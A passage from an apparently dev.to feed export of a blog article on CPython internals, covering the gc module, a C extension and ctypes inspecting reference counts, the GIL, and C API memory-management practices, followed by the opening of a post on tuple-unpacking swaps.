&lt;p&gt;&lt;strong&gt;Generation 0: &lt;em&gt;Newly allocated container objects.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Generation 1: &lt;em&gt;Objects that survived one collection.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Generation 2: &lt;em&gt;Long lived survivors that survived multiple rounds.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Most of these objects die early, therefore Generation 0 is collected most frequently, while older generations are scanned less often to reduce overhead.&lt;/p&gt;

&lt;p&gt;Now, if you’re thinking, “I don’t trust the defaults to manage my memory,” you’re in luck because Python actually lets you peek into and control these processes.&lt;/p&gt;

&lt;h4&gt;
  
  
  Working with the gc Module in Python
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Forcing a collection&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;we can force an immediate garbage collection. This can be useful in memory constrained environments where you need to free up memory at some point.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;gc&lt;/span&gt;

&lt;span class="c1"&gt;#Force a full collection
&lt;/span&gt;&lt;span class="n"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;collect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Checking for uncollectable objects&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;when gc can’t free objects that are part of a cycle, particularly if they have __del__ methods
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;gc&lt;/span&gt;

&lt;span class="c1"&gt;# Force a collection
&lt;/span&gt;&lt;span class="n"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;collect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="c1"&gt;# Lists objects that the GC could not free
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;garbage&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Inspecting objects in memory&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Checking list of objects that is currently being tracked by the gc
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;gc&lt;/span&gt;

&lt;span class="n"&gt;objs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_objects&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;#function returns a list of all objects
&lt;/span&gt;
&lt;span class="c1"&gt;# Print the number of objects being tracked
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Currently tracking &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;objs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; objects&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4. Disabling and Enabling the gc&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can be useful for debugging
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;gc&lt;/span&gt;

&lt;span class="c1"&gt;# Disable the cyclic garbage collector
&lt;/span&gt;&lt;span class="n"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;disable&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="c1"&gt;# ... your code here ...
# Enable the cyclic garbage collector
&lt;/span&gt;&lt;span class="n"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;enable&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;5. Tuning collection thresholds&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This is a fun one, gc uses thresholds to determine when to run. We can inspect and adjust these value to fine tune the behavior of the collector. Thresholds represent the number of new allocation in each generation before a collection is triggered.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;gc&lt;/span&gt;

&lt;span class="c1"&gt;# (700, 10, 10) by default
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_threshold&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="c1"&gt;# Adjust the collection thresholds
&lt;/span&gt;&lt;span class="n"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set_threshold&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Print the current number of new objects in each generation
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_count&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Getting your hands down to the gc module is really cool, and fine tuning these thresholds can help performance in workloads that create many short lived objects. Its not something most Python developers need every day, but could be useful when debugging memory leaks or working in specialized environments.&lt;/p&gt;

&lt;p&gt;Reference Counting and Cyclic Garbage Collection format the very backbone of CPython’s memory management, its just beautiful.&lt;/p&gt;

&lt;h4&gt;
  
  
  C. Inspecting CPython Internals: Hands-On Examples
&lt;/h4&gt;

&lt;h4&gt;
  
  
  1. Code Example: Inspecting &lt;code&gt;PyObject&lt;/code&gt; in C
&lt;/h4&gt;

&lt;blockquote&gt;
&lt;p&gt;Examples here can be seen and run as mentioned before using this link : &lt;a href="https://colab.research.google.com/drive/1RfLUdQbQWDMxonA5Zidn4teNKxfLYQ6d?usp=sharing" rel="noopener noreferrer"&gt;https://colab.research.google.com/drive/1RfLUdQbQWDMxonA5Zidn4teNKxfLYQ6d?usp=sharing&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To illustrate the fundamental PyObject structure and its accessible fields, consider the following C extension. This example creates a Python integer object and then inspects its internal ob_refcnt and ob_type-&amp;gt;tp_name fields using the CPython API macros.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#define PY_SSIZE_T_CLEAN
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;Python.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="c1"&gt; // For PySys_WriteStdout&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="c1"&gt;// Define a simple C function that creates a Python integer&lt;/span&gt;
&lt;span class="c1"&gt;// and prints its ob_refcnt and ob_type-&amp;gt;tp_name&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;PyObject&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="nf"&gt;inspect_int_object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;py_int_obj&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Parse arguments: expect a single long integer&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;PyArg_ParseTuple&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"l"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Error occurred&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Create a Python integer object&lt;/span&gt;
    &lt;span class="n"&gt;py_int_obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PyLong_FromLong&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;py_int_obj&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Error creating object&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Access ob_refcnt and ob_type using macros&lt;/span&gt;
    &lt;span class="n"&gt;Py_ssize_t&lt;/span&gt; &lt;span class="n"&gt;ref_count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Py_REFCNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;py_int_obj&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;PyTypeObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;type_obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Py_TYPE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;py_int_obj&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;type_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;type_obj&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;tp_name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Print the information&lt;/span&gt;
    &lt;span class="n"&gt;PySys_WriteStdout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Object: %ld&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;PySys_WriteStdout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;" Reference Count: %zd&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ref_count&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;PySys_WriteStdout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;" Type Name: %s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;type_name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Decrement the reference count for the object we created&lt;/span&gt;
    &lt;span class="c1"&gt;// This is crucial for proper memory management.&lt;/span&gt;
    &lt;span class="n"&gt;Py_DECREF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;py_int_obj&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;Py_RETURN_NONE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Return None (increments its refcount)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Module method definitions&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;PyMethodDef&lt;/span&gt; &lt;span class="n"&gt;MyInspectMethods&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"inspect_int"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inspect_int_object&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;METH_VARARGS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="s"&gt;"Inspects a Python integer object's internal PyObject fields."&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;// Sentinel&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// Module definition structure for Python 3&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;PyModuleDef&lt;/span&gt; &lt;span class="n"&gt;inspectmodule&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;PyModuleDef_HEAD_INIT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;"inspect_internals"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Module name&lt;/span&gt;
    &lt;span class="s"&gt;"A module to inspect CPython object internals."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Module docstring&lt;/span&gt;
    &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Size of per-interpreter state of the module, -1 means global state&lt;/span&gt;
    &lt;span class="n"&gt;MyInspectMethods&lt;/span&gt; &lt;span class="c1"&gt;// Module methods&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// Module initialization function&lt;/span&gt;
&lt;span class="n"&gt;PyMODINIT_FUNC&lt;/span&gt;
&lt;span class="nf"&gt;PyInit_inspect_internals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;PyModule_Create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;inspectmodule&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Compilation (Linux/macOS):&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;gcc -shared -fPIC -I/usr/include/python3.x -o inspect_internals.so inspect_internals.c&lt;/p&gt;

&lt;p&gt;(Replace python3.x with your Python version, e.g., python3.10)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Python Usage:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;inspect_internals&lt;/span&gt;
&lt;span class="n"&gt;inspect_internals&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inspect_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Expected output (reference count may vary for small integers due to memoization):
# Object: 42
# Reference Count: 1 (or 2 if sys.getrefcount() is used, or higher for memoized small ints)
# Type Name: int
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. Low-Level Access with &lt;code&gt;ctypes&lt;/code&gt; in Python
&lt;/h4&gt;

&lt;p&gt;As an illustrative example, one can even use Python’s ctypes library to peek at an object’s header. Since id(obj) in CPython returns the memory address of the object, we can cast it to a ctypes pointer.&lt;/p&gt;

&lt;p&gt;For instance:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="n"&gt;lst&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="c1"&gt;# Get reference count from the object header:
&lt;/span&gt;&lt;span class="n"&gt;refcnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctypes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_ssize_t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C ctypes says refcount =&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;refcnt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sys.getrefcount says refcount =&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getrefcount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C ctypes says refcount = 1
sys.getrefcount says refcount = 2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  D. Performance Considerations and Common Pitfalls
&lt;/h4&gt;

&lt;p&gt;Unlike working at Python level, when working with CPython’s internals like through C extensions, developers have to deal with performace trade offs and memory management issues.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. GIL’s Role in Reference Counting and Thread Safety
&lt;/h4&gt;

&lt;p&gt;Global Interpreter Lock or GIL for short is a process-wide mutex ensuring that ony one thread executes Python bytecode at any given time. Its main role is to protect shared internal data structures, most notably the ob_refcnt field of every Python object.&lt;/p&gt;

&lt;p&gt;If not for GIL, each Py_INCREF and Py_DECREF would require atomic instructions or fine-grained locks across millions of objects, which will add immense complexity and runtime cost. The GIL therefore represents a deliberate engineering choice which is to sacrifice parallelism in exchange for simplicity and robustness of the memory model.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Impact on Concurrency and CPU-Bound tasks
&lt;/h4&gt;

&lt;p&gt;Because of the GIL, Python threads cannot achieve true multi-core parallelism for CPU bound tasks, even on a 32 core machine, only one thread can run bytecode at a time.&lt;/p&gt;

&lt;p&gt;But this limitation is somewhat less severe for I/O bound workloads. The interpreter releases the GIL during blocking I/O (network, disk, sockets), allowing other threads to make progress, this is why multi-threading remains viable for I/O concurrency in Python, even if it underperforms for CPU-heavy tasks.&lt;/p&gt;

&lt;p&gt;So in practice:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CPU bound work — use multiprocessing or C extensions&lt;/li&gt;
&lt;li&gt;I/O bound work — multi threading will work fine.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  3. The Road Ahead: PEP 703 and No-GIL CPython
&lt;/h4&gt;

&lt;p&gt;Python is now introducing an experimental no-GIL build, it requires a deep re-engineering of CPython’s internals.&lt;/p&gt;

&lt;p&gt;There experimenting on some techniques to move the interpreter from GIL’s bruteforce simplicity towards a scalable, multi-core aware memory model but without breaking the semantics of billions of lines of python code.&lt;/p&gt;

&lt;h4&gt;
  
  
  4. Reference Leaks vs Reference Deficits
&lt;/h4&gt;

&lt;p&gt;Two of the most common failure modes are reference leaks and reference deficits, which we discussed roughly in above chapters&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Reference Surplus (Leak):&lt;/strong&gt; Forgetting to Py_DECREF an owned reference. The object stays alive forever, and long running processes slowly balloon in memory. Often silent and insidious.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reference Deficit&lt;/strong&gt; &lt;strong&gt;(Premature Free):&lt;/strong&gt; Calling Py_DECREF too often. The object is deallocated too early, leading to ‘use-after-free’ bugs and segmentation faults. These are explosive and harder to debug, as the crash may occur far away from the original mistake.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Best Practices or C API Memory Management
&lt;/h4&gt;

&lt;p&gt;When writing extensions, a strict discipline is essential.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Respect Ownership Semantics:&lt;/strong&gt; Always check if a function returns a new reference (you own it) or a borrowed reference (you don’t). This is the single most important rule.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Error Handling Discipline:&lt;/strong&gt; On error, functions usually return NULL but may have created intermediate objects. Clean them up properly before returning.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Helper Macros Save Lives:&lt;/strong&gt; Use Py_XINCREF , Py_XDECREF , Py_NewRef , Py_CLEAR and Py_SETREF . These are not optional style points, they encode decades of hard-earned safety patterns.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak References:&lt;/strong&gt; Use weakrefs ( Py_TPFLAGS_MANAGED_WEAKREF, PyObject_ClearWeakRefs ) for cache like structures that should not prevent GC.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Container Hygiene:&lt;/strong&gt; If you implement container types in C, adjust the refcounts of contained elements meticulously.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;So, what to take from all of this? CPython’s object model might look intimidating at first glance, but once you peel back the layers it’s actually a very neat system. Everything can be explained in few consistent ideas: &lt;strong&gt;objects carry their own type and reference count, types describe behavior through slots, and reference management ensures memory stays in check.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Whether you’re just curious, writing a C extension or thinking about contributing for CPython itself, understanding these internals gives you a whole new perspective on Python.&lt;/p&gt;

&lt;p&gt;At the end of the day, you don’t need to memorize every slot or flag. What matters is grasping the philosophy; Python’s flexibility at the surface is built on a surprisingly strict, predictable C core. Once you know these, you can write better Python code, debug smarter and maybe even push the language forward yourself.&lt;/p&gt;

&lt;p&gt;Yup, that marks the end of this article. Took me about a month to write, hope it gives you something useful :).&lt;/p&gt;




</description>
      <category>learning</category>
      <category>python</category>
      <category>programming</category>
      <category>python3</category>
    </item>
    <item>
      <title>Swapping Variables in Python: Behind the scenes of a,b = b,a</title>
      <dc:creator>Yehan Wasura</dc:creator>
      <pubDate>Wed, 28 May 2025 20:49:18 +0000</pubDate>
      <link>https://dev.to/rezsat/swapping-variables-in-python-behind-the-scenes-of-ab-ba-ena</link>
      <guid>https://dev.to/rezsat/swapping-variables-in-python-behind-the-scenes-of-ab-ba-ena</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F15txl5jutgozui3g337n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F15txl5jutgozui3g337n.png" alt="Swapping Variables in Python: Behind the scenes of a,b = b,a" width="640" height="290"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Swapping two variables in Python with a,b = b,a is a common idiom, used in memes comparing other languages to Python, but it often mystifies beginners who think it's "magic". There is even a common misconception of Python uses temporary variables to achieve this under the hood, while that can be a rough idea that's not the complete truth.&lt;/p&gt;

&lt;h3&gt;
  
  
  It’s just regular tuple packing and unpacking in Python.
&lt;/h3&gt;

